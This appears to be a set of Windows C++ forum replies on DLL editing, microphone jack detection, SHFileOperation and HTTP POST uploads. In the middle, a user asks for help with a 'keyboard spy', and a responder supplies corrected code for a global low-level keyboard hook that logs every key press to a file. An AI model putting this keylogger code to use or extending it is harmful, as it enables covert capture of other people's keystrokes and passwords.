As I already told you in my previous message, it is not possible, even if you don't like it. If you don't have the sources of the dll, you can't modify your dll. It is the same as with an executable, you can't just edit a program like that without having the sources.

BTW what about a webcam pointing to the microphone plug (you will need also a 'jack detection' software)?

Unless you have hardware that has a specific way of
determining this, you can't.

No sound hardware I've ever used was able to detect if a mic
is plugged in or not.

You could iterate through the available audio input devices
and "listen" for background noise or something.

How come my DELL Inspiron B130 detects device when I plug something in the microphone plug and shows a dialog? And also how come my Skype understands when a microphone is plugged in or out ? Confused | :confused:

USB device? If so, USB devices are generally recognized
when they are plugged in.

1/8" mini-plug into a sound card? If so, then unless the
sound hardware has a mechanism to recognize a plugged in microphone
then I stand by my previous reply.

SHFileOperation(&sfo);

Try clearing other members of the struct. Either by explicitly setting them or using something like ::memset( &sfo, 0, sizeof( SHFILEOPSTRUCT ) ).

Peace!

How can that be since you are not checking the return value of SHFileOperation()?

Per MSDN:

pTo - Address of a buffer to contain the name of the destination file or directory. This parameter must be set to NULL if it is not used.

Hello,

I write code for keyboard spy, but every symbol write to file double.
Whats wrong? Help please.
My code

LRESULT CALLBACK HookKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char c;
char str[1];
long i;
if(::GetKeyState(VK_DOWN))
{
i=((EVENTMSG*)lParam)->message ;
c=::MapVirtualKey(i,MAPVK_VK_TO_CHAR);
str[0] = c;
FILE* fout = fopen("log.txt", "a+");
if (fout)
{
fwrite(str, 1, 1, fout);
fclose(fout);
}
}
return CallNextHookEx( hHook, nCode, wParam, lParam);
}
hHook = SetWindowsHookEx(13,(HOOKPROC)::HookKeyboardProc,GetModuleHandle(NULL), 0);

This really is a job for your debugger, but I'll try to help!

First, you set a hook for WH_KEYBOARD_LL (13). If possible, please use the constants - or comment the code at least as to why you didn't.

This hooks WM_KEYUP, and WM_KEYDOWN messages (and a few others).

So, you press down the 'A' key.

A WM_KEYDOWN message is sent.

Your hook gets called. You then call ::GetKeyState(VK_DOWN). Look at the help, and you see that it returns some complex code telling you about the status of the down arrow key on your keyboard. This is unlikely to be 0, so end up logging the 'A'.

Then you let go of the 'A' key shortly after.

A WM_KEYUP is sent, and it fires your hook.
That also checks the VK_DOWN key, finds some status that isn't 0, and logs the 'A' key again.

If you only want to log when a key is pushed down (my psychic abilities here), then change your hook to...

LRESULT CALLBACK HookKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  // do we care about this message?
  if((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN))
  {
    KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT *)lParam;
    // log the VK code, as it's a 0-254 by definition;
    BYTE byOut = (BYTE) (kb->vkCode);

    FILE* fout = fopen("log.txt", "a+");
    if (fout)
    {
      fwrite(&byOut, 1, 1, fout);
      fclose(fout);
    }
  }
  // call next hook in the chain
  return CallNextHookEx( hHook, nCode, wParam, lParam);
}

Hi,

Hi, I am using this snippet from msdn to upload a file to a web server. But I need to POST some variables at the same time along with their values. But I have no idea how to do it with HttpSendRequestEx

Please help me.

Do you know how to POST variables without the additional file upload requirement? If not you might want to start there.

Then once you understand the basics of HTTP POST this should provide you with the rest[^]
